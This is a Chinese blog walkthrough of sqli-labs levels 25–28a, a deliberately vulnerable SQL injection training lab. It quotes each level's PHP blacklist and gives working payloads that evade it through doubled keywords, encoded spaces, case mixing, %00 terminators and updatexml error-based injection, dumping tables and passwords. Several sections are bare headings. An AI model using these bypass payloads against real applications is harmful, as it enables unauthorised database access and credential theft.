sqli-labs lexx25-28a(各种过滤)

less-25AND OR 过滤

less-25a基于Bool_GET_过滤AND/OR_数字型_盲注

less-26过滤了注释和空格的注入

less-26a过滤了空格和注释的盲注

less-27过滤了union和select的

less-27a过滤了union和select的盲注

less-28有括号的单引号字符型,过滤了union和select等的注入

less-28a有括号的单引号字符型,过滤了union和select等的注入盲注

less-25

过程:

  1. 先看页面返回信息

  2. 单引号闭合

  3. 查询字段个数时出现问题

order by结果报错就只剩下了der by,题目上显示or and and belong to us说明输入的or和and过滤掉了。 可以尝试双写绕过

  • or->oror
  • and-> anandd

源码:

$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";



function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}


这里将id中的or和and都转化为空

之后

  • ?id=1' oorrder by 4 --+得字段为3.
  • ?id=' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema="security"),3 --+ 爆表
  • ?id= ' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema="security" aandnd table_name="users"),3 --+ 爆字段
  • ?id= ' union select 1,(select concat(username, passwoorrd) from users limit 0,1),3 --+ 爆值

less-25a

less-26

先看源码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
这是一个黑名单,把能用到的常见的全都过滤了

我试着输入这些

?id=%231  //过滤了#

?id=or1  //过滤了or

?id=/*1  //过滤了多行注释  

?id=--1  //过滤了单行注释

?id=/1  //过滤了斜杠

?id=1' ' '  //过滤了空格

?id=\  //过滤了反斜杠

py下大佬,给了四种注入方式

    一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用union加空格连接select联合注入。
    二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是updatexml()注入与extractvalue()注入,因其他方法仍不能避开空格的使用。
    三:基于 Bool 盲注,构造注入语句避开空格。
    四:基于 延时盲注,构造注入语句避开空格。

第一种

url编码%26是运算符&,下面的%26%26换成运算符||也是可以的,但不能直接用&&

less-26a

less-27

源码:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

黑名单里的东西更多

在黑名单中,发现没有过滤大小写的语句。题目就仅仅只会过滤select,SELECT,Select,而当我们输入一个SelEcT的时候,就不会过滤

/m是多行匹配,/s是空白符匹配

过程:

  1. 使用url编码 注释符被过滤可以用;%00 select查询时使用()代替空格做分割

  • ?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(table_name)) from(information_schema.tables)where(table_schema="security"))),1);%00
  • ?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(column_name)) from(information_schema.columns)where(table_name="users"%26%26table_schema="security"))),1);%00
  • ?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(password)) from(users))),1);%00

less-27a

盲注

less-28

less-28a

题目的界面上说不能使用union和select
但是我们可以想办法绕过
源码:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

过滤了/*,--,#,空格,以及不区分大小写的union+select

过程:

  1. 空格用%a0代替(在某不知名大佬那里了解到新的绕过空格姿势 /%0a/ )

  2. 大小写绕过

  • ?id=0%27)%a0uNion%a0sElect(1),(database()),(%273

posted @ 2020-12-09 18:59  A2rcher_zjh  阅读(96)  评论(0编辑  收藏  举报